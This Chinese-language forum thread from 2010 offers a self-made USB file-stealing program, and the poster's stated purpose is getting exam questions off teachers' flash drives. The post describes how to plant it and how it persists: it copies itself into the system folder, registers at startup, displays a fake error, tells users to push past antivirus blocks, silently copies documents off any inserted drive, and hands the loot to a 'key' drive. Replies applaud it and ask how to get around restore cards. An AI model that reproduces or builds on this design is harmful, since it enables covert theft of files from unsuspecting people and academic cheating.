易码技术论坛

 找回密码
 加入易码
搜索
查看: 466|回复: 15

偷文件,我自豪~以前做的,今天把它强化了一下

[复制链接]
发表于 2010-4-7 10:21:11 | 显示全部楼层 |阅读模式
快考试了,老师的U盘里往往可能有题库或者考试题,想得到吗?老师肯定不给啦!
当然,老师上课必须用课件,就会插U盘,只要插U盘,她就能把里面有价值的东西偷出来~

用法:
植入电脑:
你只要运行zsb_datacoper.exe即可,
运行后她将会自身复制到C:\WINDOWS\SYSTEM下,并建立开机启动,
当看到"XXX不是有效的WIN32应用程序"的假提示时表明植入完毕
如果有杀软拦截需要人工通过,因为此程序不是定位为木马.

偷:
植入完成后只要插入U盘(包括移动硬盘,自动判断),如果U盘根目录没有EPC证书,就会遍历里面所有文件,先偷取txt,xls,doc,wps,ppt,然后再偷取rar/zip文件(通常rar/zip都很大,故最后偷),当然,超过32M的文件不偷,为了速度考虑
偷来的文件暂存在C:\WINDOWS\SYSTEM\box里

取"赃物":
插入根目录有EPC证书的U盘后,程序会自动将已偷来的文件拷入U盘根目录"收获"文件夹里,过程没有任何提示,你看到U盘指示灯不在闪烁时拔出即可.

杀毒软件扫描情况:
http://www.virustotal.com/zh-cn/ ... 72bdf835-1270605413

程序大小:32K+(37,888 字节)
开发环境:VC++
加壳:UPX

想要的自己下载~呵呵
注:证书文件只要放在你自己U盘根目录即可,不要安装

[ 本帖最后由 epcdiy 于 2010-4-7 10:35 编辑 ]

Release.rar

36.23 KB, 阅读权限: 30, 下载次数: 22

发表于 2010-4-7 12:38:41 | 显示全部楼层
如果对方U盘没有EPC证书呢?但自己又想用来做坏事怎办?
 楼主| 发表于 2010-4-7 14:34:18 | 显示全部楼层
原帖由 llmmkc123 于 2010-4-7 12:38 发表
如果对方U盘没有EPC证书呢?但自己又想用来做坏事怎办?

你貌似没理解吧,有证书的u盘不会被偷文件,并且会把已经偷的文件拷进来;没证书的u盘一旦插入都会被偷文件
发表于 2010-4-7 15:44:12 | 显示全部楼层
以下内容已被写入BIOS中:
"在中国,除了公务员/事业单位,其他工作都不是好工作,
哪怕给人打工月薪2W,公务员月薪2K,我都选择后者;
我的毕生目标就是当公务员或者进事业单位;
虽然这种社会状况将来会被改变,但是在我有生之年不会改变

成都 广电 月薪2k 好工作么

我们同学把这个拒了 签的西安的国企 好像是做电台和信道机一类的
发表于 2010-4-8 10:35:00 | 显示全部楼层
看起来很不错的
发表于 2010-4-8 12:16:30 | 显示全部楼层
原帖由 epcdiy 于 2010-4-7 14:34 发表

你貌似没理解吧,有证书的u盘不会被偷文件,并且会把已经偷的文件拷进来;没证书的u盘一旦插入都会被偷文件

哦!那如何删除它呢?
 楼主| 发表于 2010-4-8 13:00:04 | 显示全部楼层
原帖由 llmmkc123 于 2010-4-8 12:16 发表

哦!那如何删除它呢?

结束tasker.exe进程,删除其在c:\windows\system\下的文件,最后删除其启动项
 楼主| 发表于 2010-4-8 13:01:16 | 显示全部楼层
原帖由 murmur 于 2010-4-7 15:44 发表
以下内容已被写入BIOS中:
"在中国,除了公务员/事业单位,其他工作都不是好工作,
哪怕给人打工月薪2W,公务员月薪2K,我都选择后者;
我的毕生目标就是当公务员或者进事业单位;
虽然这种社会状况将来会被改变,但是在我有 ...

还有包分配的?不是考的吗?
发表于 2010-4-8 14:22:21 | 显示全部楼层
支持下
发表于 2010-4-8 20:23:10 | 显示全部楼层
这学校的电脑重启完自动恢复
发表于 2010-4-10 17:43:33 | 显示全部楼层
好东东啊~~~~
我收了 采摘东西必备啊~~~~~~~
发表于 2010-4-17 00:30:15 | 显示全部楼层
win7可用否?
我当时下了好几个U盘自动复制的 win7下全不能用 - -
 楼主| 发表于 2010-4-17 19:45:45 | 显示全部楼层
原帖由 无声的风 于 2010-4-17 00:30 发表
win7可用否?
我当时下了好几个U盘自动复制的 win7下全不能用 - -

可以用,2000,XP,VISTA,WIN7均测试过
发表于 2010-4-18 00:09:00 | 显示全部楼层
能穿还原么?  学校的电脑都有还原卡啊...这个比较难办   没有机会可以在下课后下手  老师 人走都关电脑的.....
发表于 2010-4-18 00:10:43 | 显示全部楼层
好东西  收藏了~
发表于 2010-4-20 17:15:26 | 显示全部楼层
看上去很诱人啊
您需要登录后才可以回帖 登录 | 加入易码

本版积分规则

Archiver|手机版|小黑屋|EMAX Studio

GMT+8, 2024-4-19 05:36 , Processed in 0.010994 second(s), 21 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表